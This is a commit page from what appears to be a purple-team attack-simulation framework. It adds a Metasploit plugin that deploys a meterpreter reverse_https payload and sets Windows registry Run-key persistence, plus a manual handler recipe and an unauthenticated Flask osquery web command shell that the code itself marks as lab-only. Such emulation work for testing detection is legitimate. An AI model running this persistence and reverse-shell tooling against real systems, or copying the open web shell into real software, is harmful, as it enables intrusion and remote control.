Merge pull request #13 from avast/mass_experiments

Mass experiments
pull/17/head
Thorsten Sick 3 years ago committed by GitHub
commit fc5ec6a702
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -59,34 +59,76 @@ class AttackLog():
def get_caldera_default_description(self, ability_id: str):
""" Returns the default description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session"}
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session",
"697e8a432031075e47cccba24417013d": "Copy a VBS file to several startup folders",
"f39161b2fa5d692ebe3972e0680a8f97": "Copy a BAT file to several startup folders",
"16e6823c4656f5cd155051f5f1e5d6ad": "Copy a JSE file to several startup folders",
"443b853ac50a79fc4a85354cb2c90fa2": "Set Regky RunOnce\\0001\\Depend to run a dll",
"2bfafbee8e3edb25974a5d1aa3d9f431": "Set Regky RunOnce\\0001\\Depend , download a bat",
"163b023f43aba758d36f524d146cb8ea": "Set Regkey CurrentVersion\\Run to start a exe"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_tactics(self, ability_id: str):
def get_caldera_default_tactics(self, ability_id: str, ttp: Optional[str]):
""" Returns the default tactics for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "System Owner/User Discovery"}
if ability_id not in data:
return None
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "System Owner/User Discovery",
"697e8a432031075e47cccba24417013d": "Persistence",
"f39161b2fa5d692ebe3972e0680a8f97": "Persistence",
"16e6823c4656f5cd155051f5f1e5d6ad": "Persistence",
"443b853ac50a79fc4a85354cb2c90fa2": "Persistence",
"2bfafbee8e3edb25974a5d1aa3d9f431": "Persistence",
"163b023f43aba758d36f524d146cb8ea": "Persistence",
"697e8a432031075e47cccba24417013d": "Persistence"}
ttp_data = {"t1547": "Persistence",
"t1547.001": "Persistence"}
if ability_id in data:
return data[ability_id]
def get_caldera_default_tactics_id(self, ability_id: str):
""" Returns the default name for this ability based on a db """
if ttp is not None:
if ttp.lower() in ttp_data:
return ttp_data[ttp.lower()]
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033"}
if ability_id not in data:
return None
def get_caldera_default_tactics_id(self, ability_id: str, ttp: Optional[str]):
""" Returns the default name for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033",
"697e8a432031075e47cccba24417013d": "TA0003",
"f39161b2fa5d692ebe3972e0680a8f97": "TA0003",
"16e6823c4656f5cd155051f5f1e5d6ad": "TA0003",
"443b853ac50a79fc4a85354cb2c90fa2": "TA0003",
"2bfafbee8e3edb25974a5d1aa3d9f431": "TA0003",
"163b023f43aba758d36f524d146cb8ea": "TA0003",
"697e8a432031075e47cccba24417013d": "TA0003"}
ttp_data = {"t1547": "TA0003",
"t1547.001": "TA0003"}
if ability_id in data:
return data[ability_id]
if ttp is not None:
if ttp.lower() in ttp_data:
return ttp_data[ttp.lower()]
return None
def get_caldera_default_situation_description(self, ability_id: str):
""" Returns the default situation description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None}
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None,
"697e8a432031075e47cccba24417013d": None,
"f39161b2fa5d692ebe3972e0680a8f97": None,
"16e6823c4656f5cd155051f5f1e5d6ad": None,
"443b853ac50a79fc4a85354cb2c90fa2": None,
"2bfafbee8e3edb25974a5d1aa3d9f431": None,
"163b023f43aba758d36f524d146cb8ea": None}
if ability_id not in data:
return None
@ -95,7 +137,13 @@ class AttackLog():
def get_caldera_default_countermeasure(self, ability_id: str):
""" Returns the default countermeasure for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None}
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None,
"697e8a432031075e47cccba24417013d": None,
"f39161b2fa5d692ebe3972e0680a8f97": None,
"16e6823c4656f5cd155051f5f1e5d6ad": None,
"443b853ac50a79fc4a85354cb2c90fa2": None,
"2bfafbee8e3edb25974a5d1aa3d9f431": None,
"163b023f43aba758d36f524d146cb8ea": None}
if ability_id not in data:
return None
@ -127,8 +175,8 @@ class AttackLog():
"logid": logid,
"name": kwargs.get("name", self.get_caldera_default_name(ability_id)),
"description": kwargs.get("description", self.get_caldera_default_description(ability_id)),
"tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id)),
"tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id)),
"tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id, ttp)),
"tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id, ttp)),
"situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack
"obfuscator": kwargs.get("obfuscator", "default"),

@ -15,8 +15,6 @@ from app.exceptions import CalderaError
from app.interface_sfx import CommandlineColors
# TODO: Ability deserves an own class.
# TODO: Support all Caldera agents: "Sandcat (GoLang)","Elasticat (Blue Python/ Elasticsearch)","Manx (Reverse Shell TCP)","Ragdoll (Python/HTML)"
@ -242,8 +240,13 @@ class CalderaControl():
res = []
print(f"Number of abilities: {len(self.list_abilities())}")
with open("debug_removeme.txt", "wt") as fh:
fh.write(pformat(self.list_abilities()))
for ability in self.list_abilities():
if ability["ability_id"] == abid:
if ability.get("ability_id", None) == abid or ability.get("auto_generated_guid", None) == abid:
res.append(ability)
return res
@ -256,9 +259,16 @@ class CalderaControl():
# caldera knows the os-es "windows", "linux" and "darwin"
for ability in self.get_ability(abid):
abilities = self.get_ability(abid)
for ability in abilities:
if ability["platform"] == platform:
return True
if platform in ability.get("supported_platforms", []):
return True
if platform in ability.get("platforms", []):
return True
print(self.get_ability(abid))
return False
def get_operation_by_id(self, op_id: str):

@ -204,13 +204,15 @@ class Metasploit():
payload_name = kwargs.get("outfile", "babymetal.exe")
payload_type = kwargs.get("payload", None)
retries = 3
if payload_type is None:
raise MetasploitError("Payload not defined")
try:
self.start_exploit_stub_for_external_payload(payload_type, lhost=kwargs.get("lhost", None))
ip = socket.gethostbyname(self.attacker.get_ip())
self.start_exploit_stub_for_external_payload(payload_type, lhost=kwargs.get("lhost", ip))
self.wait_for_session(2)
except MetasploitError:
while retries:
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create payload {payload_name} {CommandlineColors.ENDC}",
1)
@ -221,7 +223,12 @@ class Metasploit():
1)
self.start_exploit_stub_for_external_payload(payload=payload_type, lhost=kwargs.get("lhost", None))
self.wait_for_session()
try:
self.wait_for_session(100)
break
except MetasploitError:
retries -= 1
print(f"Global metasploit retries: {retries}")
##########################################################################

@ -64,7 +64,10 @@ class AttackPlugin(BasePlugin):
""" Inits metasploit """
if self.needs_metasploit():
self.metasploit = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
self.metasploit = MetasploitInstant(self.metasploit_password,
attack_logger=self.attack_logger,
attacker=self.attacker_machine_plugin,
username=self.metasploit_user)
# If metasploit requirements are not set, self.metasploit stay None and using metasploit from a plugin not having the requirements will trigger an exception
def copy_to_attacker_and_defender(self):

@ -8,7 +8,6 @@ from app.exceptions import PluginError # type: ignore
import app.exceptions # type: ignore
class BasePlugin():
""" Base class for plugins """

@ -6,7 +6,6 @@ from typing import Optional
from plugins.base.plugin_base import BasePlugin
class SensorPlugin(BasePlugin):
""" A sensor will be running on the target machine and monitor attacks. To remote control those sensors
there are sensor plugins. This is the base class for them

@ -128,16 +128,21 @@ class SSHFeatures(BasePlugin):
try:
res = self.connection.put(src, dst)
except (paramiko.ssh_exception.SSHException, socket.timeout, UnexpectedExit):
self.vprint("PUT Failed to connect", 1)
self.vprint("SSH PUT: Failed to connect", 1)
do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1)
self.vprint(f"SSH PUT: No valid connection. Errors: {error.errors}", 1)
do_retry = True
except OSError:
self.vprint("SSH PUT: Obscure OSError, ignoring (file should have been copied)", 1)
pass
# do_retry = True
# breakpoint()
except FileNotFoundError as error:
self.vprint(f"File not found: {error}", 0)
self.vprint(f"SSH PUT: File not found: {error}", 0)
break
if do_retry:
self.vprint(f"Will retry {retries} times. Timeout: {timeout}", 3)
self.vprint(f"SSH PUT: Will retry {retries} times. Timeout: {timeout}", 3)
retries -= 1
timeout += 10
time.sleep(retry_sleep)
@ -170,8 +175,12 @@ class SSHFeatures(BasePlugin):
raise NetworkError from error
do_retry = True
except paramiko.ssh_exception.NoValidConnectionsError as error:
self.vprint(f"No valid connection. Errors: {error.errors}", 1)
self.vprint(f"SSH GET: No valid connection. Errors: {error.errors}", 1)
do_retry = True
except OSError:
self.vprint("SSH GET: Obscure OSError, ignoring (file should have been copied)", 1)
pass
# do_retry = True
except FileNotFoundError as error:
self.vprint(error, 0)
break

@ -0,0 +1,17 @@
Manual operation
----------------
target: start babymetal.exe
attacker:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.178.189 (YMMV)
set LPORT 6666 (YMMV)
run
100.64.0.25 on kali
100.64.0.25 on win
getsystem
reg setval -k HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v purpledome -d c:\windows\system32\calc.exe

@ -0,0 +1,42 @@
###
# Configuration for autostart experiments
### Registry key to set
# 0: "HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
# 1: "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
# 2: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend
regkey_variant: 2
### Data to set
# 0: c:\\windows\\system32\\calc.exe
# 1: c:\temp\evil.dll
# 2: c:\dummy.dll
data_options: 0
###
# Run getsystem first ?
getsystem: True
###
# Name of the registry key to add
value: purpledome3_new2
###
# meterpreter commands to execute before migrating to a new process
# Can be used to start processes to hide in
# start_commands:
# - execute -f calc.exe
### Upload files (those could be autostarted !)
#
upload:
- dummy.dll
###
# Migrate to a new process before modifying the registry
migrate: No
###
# Process to migrate to
migrate_target: svchost.exe

@ -0,0 +1,121 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin, Requirement
from app.interface_sfx import CommandlineColors
import os
class MetasploitAutostart1Plugin(AttackPlugin):
# Boilerplate
name = "metasploit_registry_autostart_1"
description = "Modify the registry to autostart"
ttp = "T1547_1"
references = ["https://attack.mitre.org/techniques/T1547/001/"]
tactics = "Persistence"
tactics_id = "TA0003"
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
requirements = [Requirement.METASPLOIT]
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
# self.connect_metasploit()
# ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
self.metasploit.smart_infect(target,
# lhost=ip,
payload=payload_type,
outfile=payload_name,
format="exe",
architecture="x64")
###
rkeys = [r"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend"
]
regkey = rkeys[self.conf['regkey_variant']]
# value = "purpledome"
data_options = [r"c:\\windows\\system32\\calc.exe ",
r"c:\\temp\\evil.dll",
r"c:\\dummy.dll"]
data = data_options[self.conf['data_options']]
# data = r"c:\\windows\\system32\\calc.exe "
# regkey = self.conf['regkey']
value = self.conf["value"]
# data = self.conf["data"]
command_set = f"reg setval -k {regkey} -v {value} -d {data}"
command_create = f"reg createkey -k {regkey}"
if self.conf["getsystem"]:
self.metasploit.getsystem(target,
variant=0,
situation_description="Elevating privileges to write to the registry",
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command_set} through meterpreter{CommandlineColors.ENDC}", 1)
if "upload" in self.conf and len(self.conf["upload"]):
print(f"Before {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
print(self.metasploit.meterpreter_execute_on(["cd c:\\"], target))
print(f"After {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
for src in self.conf["upload"]:
print(src)
self.attacker_machine_plugin.put(
os.path.join(os.path.dirname(self.plugin_path), "resources", src), src)
self.metasploit.upload(target, src, src) # Make sure the process to hide behind is running
if "start_commands" in self.conf and len(self.conf["start_commands"]):
for cmd in self.conf["start_commands"]:
print(cmd)
self.metasploit.meterpreter_execute_on([cmd], target) # Make sure the process to hide behind is running
if self.conf["migrate"]:
tgt = self.conf["migrate_target"]
print(f"Migrate to {tgt}")
self.metasploit.migrate(target, name=tgt)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=target.get_ip(),
metasploit_command=command_set,
ttp=self.ttp,
name="registry add run key",
description=self.description,
tactics=self.tactics,
tactics_id=self.tactics_id,
situation_description="",
countermeasure=""
)
res = self.metasploit.meterpreter_execute_on([command_create], target)
print(res)
res = self.metasploit.meterpreter_execute_on([command_set], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=target.get_ip(),
metasploit_command=command_set,
ttp=self.ttp,
logid=logid,
result=res)
###
# breakpoint()
return res

@ -0,0 +1,3 @@
# OSQuery
Standalone OSQuery experiment.

@ -0,0 +1,43 @@
#!/usr/bin/env python3
""" The remote bastion for the sensor. Used to control the osquery on the target. Opens a web command shell.
This is not meant to be secure and MUST NOT be used in a productive environment. As we use this in a hacking lab this
is reasonable.
Test with curl:
curl -X POST -F 'command=test' localhost:6666/osquery
(select timestamp from time)
"""
from flask import Flask, jsonify, request
import osquery
# TODO: Create a proper tool out of it
# TODO: Start osqueryi with proper parameters
# TODO: On the controller side: Find a collection of queries to get the system state
# TODO: Interesting tables: appcompat_shims, authenticode, autoexec, certificates, etc_hosts, logged_in_users
app = Flask(__name__)
osquery_instance = osquery.ExtensionClient('/home/vagrant/test.sock')
osquery_instance.open()
@app.route("/osquery", methods=['POST'])
def api():
data = {}
if request.method == 'POST':
command = request.form["command"]
data = {"command": command}
client = osquery_instance.extension_client()
data["result"] = client.query(command).response
return jsonify(data)
if __name__ == "__main__":
# Important: This is to be run on target hosts only. Those are hacked anyway.
# Very bad security practice to use it in real world.
app.run(host='0.0.0.0', port=6666) # nosec

@ -0,0 +1,72 @@
#!/usr/bin/env python3
# A plugin to experiment with Linux osquery
# https://github.com/osquery/osquery-python
from plugins.base.sensor import SensorPlugin
# import os
# from jinja2 import Environment, FileSystemLoader, select_autoescape
class LinuxOSQueryPlugin(SensorPlugin):
# Boilerplate
name = "osquery"
description = "Linux osquery plugin" # Can later be extended to support other OS-es as well
required_files = []
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.debugit = False
def process_templates(self):
""" process jinja2 templates of the config files and insert own config """
pass
def prime(self):
""" Hard-core install. Requires a reboot """
# pg = self.get_playground()
self.vprint("Installing Linux OSQuery", 3)
self.run_cmd('echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list')
self.run_cmd("sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B")
self.run_cmd("sudo apt update")
self.run_cmd("sudo apt -y install osquery")
self.run_cmd("")
# sudo apt -y install python3-pip
# pip install osquery
return False
def install(self):
""" Installs the filebeat sensor """
return
def start(self):
self.run_cmd("osqueryi --ephemeral --disable_logging --disable_database --extensions_socket /home/vagrant/test.sock") # TODO: Find better socket name
"""
ec = osquery.ExtensionClient("/home/vagrant/test.sock")
ec.open()
c = ec.extension_client()
c.query("select timestamp from time")
"""
return None
def stop(self):
""" Stop the sensor """
return
def collect(self, path):
""" Collect sensor data """
dst = ""
return [dst]

@ -13,6 +13,7 @@ sphinxcontrib.asciinema==0.3.2
paramiko==2.7.2
pymetasploit3==1.0.3
pylint
flask
# Mypy stuff
mypy

@ -408,22 +408,22 @@ class TestMachineConfig(unittest.TestCase):
def test_get_caldera_default_tactics_missing(self):
""" Testing getting the caldera default tactics """
al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics("missing"), None)
self.assertEqual(al.get_caldera_default_tactics("missing", None), None)
def test_get_caldera_default_tactics(self):
""" Testing getting the caldera default tactics """
al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics("bd527b63-9f9e-46e0-9816-b8434d2b8989"), "System Owner/User Discovery")
self.assertEqual(al.get_caldera_default_tactics("bd527b63-9f9e-46e0-9816-b8434d2b8989", None), "System Owner/User Discovery")
def test_get_caldera_default_tactics_id_missing(self):
""" Testing getting the caldera default tactics_id """
al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics_id("missing"), None)
self.assertEqual(al.get_caldera_default_tactics_id("missing", None), None)
def test_get_caldera_default_tactics_id(self):
""" Testing getting the caldera default tactics_id """
al = AttackLog()
self.assertEqual(al.get_caldera_default_tactics_id("bd527b63-9f9e-46e0-9816-b8434d2b8989"), "T1033")
self.assertEqual(al.get_caldera_default_tactics_id("bd527b63-9f9e-46e0-9816-b8434d2b8989", None), "T1033")
def test_get_caldera_default_situation_description_missing(self):
""" Testing getting the caldera default situation_description """

@ -12,8 +12,7 @@ globs = ["TODO.md",
".gitignore",
"*.py",
"CONTRIBUTING.txt",
"experiment.yaml",
"cloud_experiment.yaml",
"*.yaml",
"Makefile",
"*.sh",
"README.md",
@ -38,28 +37,28 @@ globs = ["TODO.md",
"doc/source/_templates/*",
"tests/data/*.yaml",
"plugins/base/*.py",
"plugins/default/*/*/*.py",
"plugins/default/*/*/*.txt",
"plugins/default/*/*/*.md",
"plugins/default/*/**/*.py",
"plugins/default/*/**/*.txt",
"plugins/default/*/**/*.md",
"plugins/default/*/**/*.exe",
"plugins/default/*/**/*.ps1",
"plugins/default/*/*/*.yaml",
"plugins/default/*/*/*.dll",
"plugins/default/*/*/*.dll_*",
"plugins/default/*/*/*.reg",
"plugins/avast_internal_plugins/*/*/*.py",
"plugins/avast_internal_plugins/*/*/*.bat",
"plugins/avast_internal_plugins/*/*/*.ps1",
"plugins/avast_internal_plugins/*/*/*.txt",
"plugins/avast_internal_plugins/*/*/*.md",
"plugins/avast_internal_plugins/*/*/*.yaml",
"plugins/avast_internal_plugins/*/*/*.exe",
"plugins/avast_internal_plugins/*/*/*.com",
"plugins/avast_internal_plugins/*/*/*.dll",
"plugins/avast_internal_plugins/*/*/*.dll_*",
"plugins/avast_internal_plugins/*/*/*.reg",
"plugins/avast_internal_plugins/*/*/idpx",
"plugins/avast_internal_plugins/*/*/hosts",
"plugins/default/*/**/*.yaml",
"plugins/default/*/**/*.dll",
"plugins/default/*/**/*.dll_*",
"plugins/default/*/**/*.reg",
"plugins/avast_internal_plugins/*/**/*.py",
"plugins/avast_internal_plugins/*/**/*.bat",
"plugins/avast_internal_plugins/*/**/*.ps1",
"plugins/avast_internal_plugins/*/**/*.txt",
"plugins/avast_internal_plugins/*/**/*.md",
"plugins/avast_internal_plugins/*/**/*.yaml",
"plugins/avast_internal_plugins/*/**/*.exe",
"plugins/avast_internal_plugins/*/**/*.com",
"plugins/avast_internal_plugins/*/**/*.dll",
"plugins/avast_internal_plugins/*/**/*.dll_*",
"plugins/avast_internal_plugins/*/**/*.reg",
"plugins/avast_internal_plugins/*/**/idpx",
"plugins/avast_internal_plugins/*/**/hosts",
"plugins/README.md",
"pylint.rc",
"shipit_log.txt",

Loading…
Cancel
Save